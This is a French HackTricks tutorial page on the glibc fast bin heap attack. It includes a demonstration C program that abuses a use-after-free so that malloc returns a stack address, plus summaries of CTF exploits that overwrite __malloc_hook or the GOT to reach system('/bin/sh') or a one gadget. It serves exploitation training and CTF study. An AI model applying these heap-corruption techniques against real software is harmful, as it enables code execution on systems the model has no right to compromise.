hacktricks/binary-exploitation/libc-heap/fast-bin-attack.md

13 KiB

Attaque de Fast Bin

{% hint style="success" %} Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)

Soutenez HackTricks
{% endhint %}

Informations de base

Pour plus d'informations sur ce qu'est un fast bin, consultez cette page :

{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}

Étant donné que le fast bin est une liste chaînée simple, il y a beaucoup moins de protections que dans d'autres bacs et simplement modifier une adresse dans un chunk fast bin libéré est suffisant pour pouvoir allouer plus tard un chunk dans n'importe quelle adresse mémoire.

En résumé:

{% code overflow="wrap" %}

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

{% endcode %}

Vous pouvez trouver un exemple complet dans un code très bien expliqué sur https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

{% hint style="danger" %} S'il est possible de remplacer la valeur de la variable globale global_max_fast par un grand nombre, cela permet de générer des tranches de fast bin de tailles plus grandes, permettant potentiellement d'effectuer des attaques de fast bin dans des scénarios où cela n'était pas possible auparavant. Cette situation est utile dans le contexte de l'attaque de large bin et de l'attaque de unsorted bin. {% endhint %}

Exemples

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Il est possible d'allouer des tranches, de les libérer, de lire leur contenu et de les remplir (avec une vulnérabilité de débordement).
  • Consolider la tranche pour une fuite d'informations : La technique consiste essentiellement à abuser du débordement pour créer une fausse prev_size de sorte qu'une tranche précédente soit placée à l'intérieur d'une plus grande, de sorte que lors de l'allocation de la plus grande contenant une autre tranche, il est possible d'imprimer ses données et de divulguer une adresse vers libc (main_arena+88).
  • Écraser le crochet malloc : Pour cela, et en abusant de la situation de chevauchement précédente, il était possible d'avoir 2 tranches qui pointaient vers la même mémoire. Par conséquent, en les libérant toutes les deux (en libérant une autre tranche entre elles pour éviter les protections), il était possible d'avoir la même tranche dans le fast bin 2 fois. Ensuite, il était possible de l'allouer à nouveau, d'écraser l'adresse de la prochaine tranche pour pointer un peu avant __malloc_hook (de sorte qu'elle pointe vers un entier que malloc considère comme une taille libre - un autre contournement), de l'allouer à nouveau, puis d'allouer une autre tranche qui recevra une adresse vers les crochets malloc.
    Enfin, un one gadget a été écrit là-dedans.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Il y a un débordement de tas et une utilisation après la libération et une double libération car lorsqu'une tranche est libérée, il est possible de réutiliser et de re-libérer les pointeurs.
  • Fuite d'informations sur Libc : Il suffit de libérer quelques tranches et elles obtiendront un pointeur vers une partie de l'emplacement de l'arène principale. Comme vous pouvez réutiliser les pointeurs libérés, il suffit de lire cette adresse.
  • Attaque de fast bin : Tous les pointeurs vers les allocations sont stockés dans un tableau, donc nous pouvons libérer quelques tranches de fast bin et dans la dernière écraser l'adresse pour pointer un peu avant ce tableau de pointeurs. Ensuite, allouez quelques tranches de la même taille et nous obtiendrons d'abord la légitime, puis la fausse contenant le tableau de pointeurs. Nous pouvons maintenant écraser ces pointeurs d'allocation pour faire pointer l'adresse GOT de free vers system et ensuite écrire "/bin/sh" dans la tranche 1 pour ensuite appeler free(tranche1) qui exécutera plutôt system("/bin/sh").
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Un autre exemple d'abus d'un débordement d'un octet pour consolider des tranches dans le unsorted bin et obtenir une fuite d'informations sur Libc, puis effectuer une attaque de fast bin pour écraser le crochet malloc avec une adresse one gadget.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Après une fuite d'informations en abusant du unsorted bin avec un UAF pour divulguer une adresse libc et une adresse PIE, l'exploit de ce CTF a utilisé une attaque de fast bin pour allouer une tranche à un endroit où les pointeurs vers des tranches contrôlées étaient situés, il était donc possible de remplacer certains pointeurs pour écrire un one gadget dans la GOT.
  • Vous pouvez trouver une attaque de Fast Bin abusée à travers une attaque de unsorted bin :
  • Notez qu'il est courant avant d'effectuer des attaques de fast bin d'abuser des listes de libération pour divulguer des adresses libc/heap (si nécessaire).
  • Usine de robots. BlackHat MEA CTF 2022
  • Nous ne pouvons allouer que des tranches de taille supérieure à 0x100.
  • Écraser global_max_fast en utilisant une attaque Unsorted Bin (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
  • Attaque de Fast Bin pour modifier un tableau global de tranches. Cela donne un primitive de lecture/écriture arbitraire, ce qui permet de modifier la GOT et de faire en sorte qu'une fonction pointe vers system.

{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}

{% hint style="success" %} Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)

Soutenez HackTricks
{% endhint %}